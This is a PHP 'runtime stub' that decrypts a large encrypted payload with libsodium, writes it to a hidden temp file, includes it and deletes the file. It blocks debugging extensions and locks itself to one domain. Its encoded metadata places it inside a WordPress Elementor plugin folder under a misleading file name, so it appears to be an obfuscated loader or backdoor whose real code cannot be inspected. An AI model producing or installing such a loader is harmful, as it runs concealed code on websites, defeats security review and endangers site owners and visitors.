<?php
/**
 * Pro runtime stub.
 */

if (!extension_loaded('sodium')) { http_response_code(500); exit; }

// Anti-debug/trace (best-effort)
$forbid = ['xdebug','uopz','runkit','xhprof'];
foreach ($forbid as $ext) { if (extension_loaded($ext)) { http_response_code(500); exit; } }

$__ONLINE_ONLY = (int)('0');
if ($__ONLINE_ONLY) {
    if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { exit; }
    $host = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    if ($host==='' || preg_match('/(^|\.)(localhost|127\.0\.0\.1|::1)$/i', $host)) { exit; }
}

// domain guard
$__DOMS = json_decode('WyJpdHNob21hci5pciJd', true);
$__ERR = base64_decode('');
if (is_array($__DOMS) && count($__DOMS)>0) {
    $h = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    $ok=false;
    foreach ($__DOMS as $dRaw) {
        $d = strtolower(trim($dRaw));
        if ($h===$d || ($d && substr($h, -strlen('.'.$d)) === '.'.$d)) { $ok=true; break; }
    }
    if (!$ok) { http_response_code(403); echo $__ERR; exit; }
}

// expiry guard
$__EXP = (int)('0');
if ($__EXP>0 && time() > $__EXP) { http_response_code(403); echo $__ERR; exit; }

// Recombine key
function deobf_key(array $parts, array $masks, array $rot): string {
    $buf = '';
    $n = count($parts);
    for ($i=0;$i<$n;$i++) {
        $p = base64_decode($parts[$i]);
        $m = base64_decode($masks[$i]);
        $r = (int)$rot[$i];
        $x = '';
        for ($j=0;$j<strlen($p);$j++){
            $b = ord($p[$j]);
            $b = ((($b >> $r) | (($b << (8-$r)) & 0xFF)) & 0xFF); // rotate right
            $x .= chr($b);
        }
        $buf .= ($x ^ $m);
    }
    return $buf;
}

$__PARTS = json_decode('["k94iRvYLHSU=","Em+g9zuHLzg=","Hhok3HiaEqs=","Qk0npTXnW4g="]', true);
$__MASKS = json_decode('["SfTMlUVWn\/w=","NsDomJrnpyM=","uH72MGooLj0=","SEQnf9RUJIM="]', true);
$__ROT   = json_decode('[4,1,1,2]', true);
$__KEY   = deobf_key($__PARTS, $__MASKS, $__ROT);

$__NONCE = base64_decode('RpnCZU/e6Q1cWaJG+iJFb90padXm9D/H');
$__AAD   = base64_decode('eyJsaWNfbW9kZSI6ImxvY2FsIiwibGljX3VybCI6IiIsImxpY19hcHAiOiIiLCJsaWNfcHViIjoiIiwibGljX2NhY2hlIjozNjAwLCJidWlsZCI6IjA4N2Q2NDc4Y2RmNDAzNDAiLCJwYXRoIjoiL2hvbWUvaXRzaG9tYXIvaXRzaG9tYXIuaXIvc291cmNlL2VsZW1lbnRvci9hcHAvbW9kdWxlcy9pbXBvcnQtZXhwb3J0L3J1bm5lcnMvcmV2ZXJ0L3dwLWNvbnRlbnQucGhwIiwidHMiOjE3NTY2OTM3MTMsImV4cGlyZXMiOjAsImRvbWFpbnMiOlsiaXRzaG9tYXIuaXIiXSwib25saW5lIjowLCJ3cCI6MSwiYWxnbyI6InhjaGFjaGEyMHBvbHkxMzA1X2lldGYifQ==');
$__CT    = base64_decode('lQAqWpnEqwe+6TG54Ay7BQFAAjSJd8wObrItEcRGFMKMdinkq7DlxDLO52iRn45FsTsVq/SCOj7brongUx2HbHh+nLOjXwmgG92G/oaaroX+I4HhY3jT8k7+uGbWYZ/mKP62dvZbq70Rt/pa9A0GTfleMnXoetev984axHBXACvIFa5zcILgJjqgEQZ1DMOChKvkJqksSgJQ2347WCez4wVloXtGxYfEiqA+UIF2jj7S3HOk5i2kNUWab0NZPReIsOKC+vTOJZTvJCM9BPWPsiOeNF1F0jWspVYqnl3KsceglSBqPS2cm5eBoJDY4+OMb4qTiDxTFdaw74amqAUOP83CvjmZHMaTAcDHv0O+ThGPjRMRXKcdVE+xKlr5AnuCfqVElif0tUPrH3UvxveW0tNQJIQmNm9xzxNTFFB8UxqFDpZfhRRm6vrB8C9dFRWLy2tcB7GAcq4rOyP2JX34vBrPxoFYhptiAkNYFvO0qUx9n8igAUja9xBNXGJB+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5vaOz+ue7TUlwZaovb+v99BiZKgjUioCZCyYTOUSKUPYTxYj3P7cA5hIqS9r08ZJK1ufbB5rXCiVK4//yLab1XXbZ1x2oqkZwmhHSSzwATmTKtzKkFvfKiNizKofFKhomG8d3BpfSt+hZDskffA6Pj/A7D0PSWWdl+joBzlNhM7K00shDi8fe0BTXo+EDptmT1zJGn68JK3i8B/qoLKs0SS0390CYWLnmgXti6udp1CbblMNHbqUNkXpDOhJeanXrpHdViTPhHQYx9LxnGpsDN7yuUR302/xDM9xqo9vqI6T7VjE189esgYeBJLWfnVGpz+DeHYrB9qtyL4/fxaZfm94DKXc/boQlGo+HUjYkq0HykSbOU7qsvHLua6BYvNxbBPoI4bm/fcoz7nNacpHo166xKFckP7Z2iagKdeVDveY48bFDvg4bp2Cqyk8Mho4ckdkb4k+HnN+tMQaFo76zlh85JbZafcgdZqr41bSmn3GIkhABDdYGqwMF220bL8O1IPKU0Hah6lfibwVWJY5uyLxZta7dNNmQcaAi3W1YO63pEIdQeUMI2mB42phWKXLLSK/+aClfCsrxi+PR6Ap7xYemKHJLyfZxxJIVvp8u6OSKMaInXt1B+P8MIIqG/U7V5hgIrgk/5CnCS81xQqHAS7vqX1WD+8H+SPt9mNxfvPpjFZu5Jz/g3KLhoP47jS64g5er+QJ5PjOJRfsjZUyEusD45tJzuqgs7LTn8vS5cFK4EkSPHCE8Fho4ZBS4KQ5N4m96pZR4AS0FruHZnezWDf6FKgD1dvZrgzydFZYgK7jxCWZcHoVKNwHXRoYmIFYAQwrPByMRYchNLobDH');

// Signature verification
$__PK  = base64_decode('MXDVZkVHJ8dnddgQqeo+HdvSyLYg8/JS4iOo80tNM34=');
$__SIG = base64_decode('wqTPttTIYmV2QPtcDJu19A5wNfbP4AyfCVpx7TPwZoLKCvbsdwkl9/6o/fQhvGIAaDYeJVhKlbnvjQdy3AIGDA==');
if (!sodium_crypto_sign_verify_detached($__SIG, $__AAD.$__CT, $__PK)) { http_response_code(500); exit; }

$__PT = sodium_crypto_aead_xchacha20poly1305_ietf_decrypt($__CT, $__AAD, $__NONCE, $__KEY);
if ($__PT === false) { http_response_code(500); exit; }

$__IS_WP = (int)('1');
if ($__IS_WP) {
    if (!defined('ABSPATH') && !defined('WPINC')) { /* optional exit; */ }
}

// Execute using temp include
$__tmp = sys_get_temp_dir().'/._'.sha1('087d6478cdf40340'.__FILE__.mt_rand()).'.php';
file_put_contents($__tmp, $__PT); unset($__PT);
include $__tmp;
@unlink($__tmp);
